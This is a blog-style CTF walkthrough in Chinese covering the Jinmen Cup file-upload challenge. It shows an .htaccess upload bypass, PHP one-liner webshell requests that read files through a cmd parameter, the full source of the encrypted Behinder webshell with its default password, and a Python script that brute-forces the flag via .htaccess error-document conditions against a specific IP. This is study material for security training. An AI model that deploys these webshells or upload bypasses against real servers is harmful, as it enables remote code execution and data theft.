文件上传漏洞-通过ctf真题学习

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
简介: 文件上传漏洞-通过ctf真题学习

前言:最近在学习一些ctf的东西,所以自己想从一个小白的身份,复现一些web的漏洞。学习一些大佬的思路!

一、文件上传漏洞常规思路

1.首先这个是一道文件上传题,常规思路就是上传png、gif等进行bp抓包进行绕过限制

这里普及一下文件上传漏洞的知识。

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

常见web上传漏洞的解题手法大致分为白名单和黑名单

常用工具:冰蝎、蚁剑、中国菜刀等等+php一句话木马。

文件上传靶机推荐:https://github.com/c0ny1/upload-labs

40f0503e9175b512bd2e18790d51933f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

二.津门杯文件上传wp

方法1:

1.现在回到我们的题,我先使用php写入一句话木马,然后改为png格式,进行上传。

8c57d3571b52bf8a79f3b1306c7a4034_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.发现可以上传,但是没有解析。

d6e56878dc3a793aa1ea96a793022b00_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

查看页面源码,发现隐藏src

cdcd559ff74a3b0a8728a801147feaeb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.然后看看响应包,直接302了。说明注入和常规文件上传思路都没戏的!

12f6991029d2d649f15ab0059a341714_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0f259074019e21ccc9148b22a6b283a5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.然后从源码出发,看了看源码发现不能注入,也不能绕过上传。

7350a4ed1f3fbb340b28d6be712b0661_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

5.然后看到了这个php规则。经过百度之后发现先知一位大佬写了:

https://xz.aliyun.com/t/8267

     

php_flag engine off

831866a5e9d8c4f8168184d80f0c0334_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

272ad90d8500bbe68fa2e288e703f8d1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

三、解题思路(1)

1.开始构造文件上传文件

 

2.新建.htaccess文件

第一个文件叫.htaccess内容是:SetHandler application/x-httpd-phpphp_flag engine on

3.新建1.png,进行文件上传

第二个文件名叫1.png

ac1fdd483849e62c11ab2d92ec3e8e18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.先上传.htaccess文件,然后再上传.png文件,上传的png文件就会被解析了。

ec88bca61f3314f28fab5aa078fa9eea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

5.上传.htaccess文件

0ed7feac4e70b4ee9289e07241e648c0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过burp抓包看到

7c7b971547315bf9c16c65a3c35fcfe1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0ace3f9e6e3a8e9f1a3bc5bc0a2ccee7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6.上传png文件

3d64163df7144245f665d035d67765ce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6e4eb062bad758255f1345b53acfd130_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.然后找到上传图片的路径

caf3f5209484de2791cdabc93cdfcfb8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

8.读文件

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png

成功上传,解析

17664e202ab114a68736a4f9e7895eb5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

9.读phpinfo

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=phpinfo();

688a161e90e1656c0a3d7df2d4cb25d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

10.扫目录

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=var_dump(scandir(%22/%22));

a1fb2916654abb5f72c951f668442249_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

11.http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=readfile(%22/flag%22); 

fc44aeb12e637f28ab82fc56ee971a4c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

方法2:

冰蝎:地址:https://github.com/rebeyond/Behinder

首先访问站点:http://122.112.248.222:20003/

3b57ce7b56bf7cc0d737ddbe61df26df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

真nm嚣张,干你走起

因为配置文件中使用禁止了upload沙盒解析,所以需要上传.htaccess,随便选择一个文件,通过Burp抓包修改参数如下


9935dff31d2c58cf0666d453cc49e021_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

解释一下,将文件名和文件内容修改为.htaccess还不够,还需要将.htaccess放至站点目录之下

之后上传冰蝎马(当然期间还上传了一句话和大马)

d0070e59a3129fad55efe229d26f6889_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

直接连你,密码为rebeyond,成功getshell

4c70acfe426a03432525d179f66283ca_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在根目录下找到flag,flag为 flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

7c9f759da16bf68c61936780ff48ad86_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

冰蝎马如下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
     $post[$i] = $post[$i]^$key[$i+1&15];
    }
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

方法3:NulL大佬的脚本

<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "wupco"
</If>

原理:匹配不到就返回404且有wupco这个字符串,直接脚本逐位爆破

import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
    htaccess = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco"
    </If>
    '''
    resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
    a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
    if "wupco" not in a:
        return False
    else:
        return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue

总结:复现过程中遇到了一些自己从来没有遇到的问题。也碰到了很多没有接触过的知识,感谢在复现过程中提供思路的朋友。感觉到自己技术还有很多不足的地方,希望会的大佬跳过,大佬勿喷!我就是菜弟弟。

相关文章
|
6月前
|
开发框架 监控 Kubernetes
CTF本地靶场搭建——GZ:CTF基础使用
GZ::CTF是一个基于ASP.NET Core的开源CTF竞赛平台,支持Docker或K8s容器部署,提供静态和动态题目类型,包括静态附件、动态附件、静态容器和动态容器,具备动态分值功能,如三血奖励和动态flag作弊检测。平台还具有实时通知、邮件验证、用户权限管理、Writeup收集、流量代理转发等功能。此外,它包含比赛管理、队伍管理、用户管理等多个管理模块,适合举办和参与网络安全竞赛。
|
6月前
|
Ubuntu 网络安全 开发者
CTF本地靶场搭建——GZ:CTF安装
GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
|
6月前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
88 0
|
安全 Unix Shell
CTF靶场练习
翻了翻自己的文档,看见有一篇之前打CTF练习留下的文章,对文章做了修整,然后正文如下: 开始对目标进行了一波信息搜集,端口只开放了80端口,其他端口并不是很有帮助,不得不提nmap的协议识别功能非常好用,并且还自带扫目录的功能。
182 0
|
安全 PHP
pikachu靶场通关秘籍之文件上传攻击
pikachu靶场通关秘籍之文件上传攻击
336 0
|
PHP
pikachu靶场通关秘籍之文件包含攻击
pikachu靶场通关秘籍之文件包含攻击
131 0
|
安全 Unix Linux
[CTF/网络安全] 攻防世界 php_rce 解题详析
PHP REC ThinkPHP V5漏洞Payload 姿势 总结
376 0
|
前端开发 安全 网络安全
|
SQL 安全 关系型数据库
pikachu靶场通关秘籍之sql注入攻击
pikachu靶场通关秘籍之sql注入攻击
394 0
pikachu靶场通关秘籍之目录遍历攻击
pikachu靶场通关秘籍之目录遍历攻击
182 0